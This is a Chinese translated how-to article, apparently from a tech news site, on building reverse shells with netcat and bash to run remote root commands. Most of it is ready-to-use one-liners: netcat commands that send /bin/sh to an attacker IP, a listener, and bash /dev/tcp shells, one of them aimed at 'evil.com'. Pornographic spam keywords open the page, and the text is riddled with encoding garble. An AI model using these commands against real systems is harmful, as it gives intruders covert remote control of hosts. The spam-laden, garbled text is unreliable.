偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

如何創(chuàng)建反向Shell來執(zhí)行遠(yuǎn)程Root命令

系統(tǒng) Linux
反向shell(Reverse shell)是一種往遠(yuǎn)程機(jī)器發(fā)送shell命令的技術(shù),當(dāng)遠(yuǎn)程機(jī)器處在防火墻等其它東西后面時,這種技術(shù)會變得非常有用。在網(wǎng)上,我看到很多人對普通shell和反向shell之間的區(qū)別分不清。在我們開始下面的內(nèi)容前,先弄清楚這些概念。

反向shell(Reverse shell)是一種往遠(yuǎn)程機(jī)器發(fā)送shell命令的技術(shù),當(dāng)遠(yuǎn)程機(jī)器處在防火墻等其它東西后面時,這種技術(shù)會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現(xiàn)這些嗎?”不,無法實現(xiàn)。在網(wǎng)上,我看到很多人對普通shell和反向shell之間的區(qū)別分不清。在我們開始下面的內(nèi)容前,先弄清楚這些概念。

反向Shell(Reverse Shell)

反向shell的工作方式是遠(yuǎn)程計算機(jī)將自己的shell發(fā)送給特定的用戶,而不是將shell綁定到一個端口上。后者在很多環(huán)境中是無法訪問的。這樣,你就可以對遠(yuǎn)程服務(wù)器執(zhí)行root命令。

Bind Shell

bind shell是用戶用BSAH,將shell綁定到一個本地端口上,這樣任何人都可以在本地網(wǎng)絡(luò)中發(fā)送命令。

反向shell經(jīng)常會被黑客用來做一些不法行為,例如入侵了一臺服務(wù)器后,他們會設(shè)置一個反向shell,將來他們就能通過這個shell輕松的訪問這臺遠(yuǎn)程計算機(jī)。我相信你是不會用它來做這種事情的。

環(huán)境要求

  • 遠(yuǎn)程Unix主機(jī)
  • 安裝了netcat

使用NetCat實現(xiàn)反向shell交互

當(dāng)通過shell登錄到遠(yuǎn)程主機(jī)后,下面的指令能輕松的將shell發(fā)送到你的機(jī)器上:

  1. nc -c /bin/sh <你的IP> <任何一個未封鎖的端口> 

你甚至能通過netcat來pipe BASH。

  1. /bin/sh | nc <你的IP> <任何未封鎖的端口> 

然后監(jiān)聽這個shell:

  1. nc -l -p <相同的端口> -vvv 

通過BASH實現(xiàn)反向shell

這種技術(shù)是當(dāng)遠(yuǎn)程機(jī)器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。

監(jiān)聽shell:

  1. nc -l -p <任何未封鎖的端口> -vvv 

先創(chuàng)建一個新的描述符,分配到一個網(wǎng)絡(luò)節(jié)點。這樣我們可以對這個描述符進(jìn)行讀寫。

  1. exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done 

或另外一個反向shell:

  1. 0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196 

這樣,你就可以輕松是通過netcat發(fā)送任何命令了。

[英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]

責(zé)任編輯:奔跑的冰淇淋 來源: 外刊IT評論
相關(guān)推薦

2013-12-20 10:20:34

2015-09-20 20:13:55

2017-01-18 20:38:36

LinuxShell腳本命令

2024-01-26 07:58:09

2014-09-26 15:41:51

2021-07-14 14:20:22

root命令Linux

2015-01-12 11:05:40

路由器漏洞華碩路由器

2017-03-16 14:07:11

LinuxSSH遠(yuǎn)程訪問

2020-11-06 07:42:01

Linux命令腳本

2010-07-21 15:50:24

2015-03-06 15:43:39

2009-02-18 17:31:48

2010-05-25 13:47:53

MySQL 命令

2022-05-07 11:31:25

漏洞網(wǎng)絡(luò)攻擊

2020-05-18 09:21:50

Linux腳本命令

2021-03-17 00:17:16

命令應(yīng)急響應(yīng)

2022-11-18 08:55:33

2020-10-22 15:15:25

SamplerShelLinux

2012-05-08 11:11:43

Linuxcrontab命令

2014-05-12 16:40:13

Linux命令快照
點贊
收藏

51CTO技術(shù)棧公眾號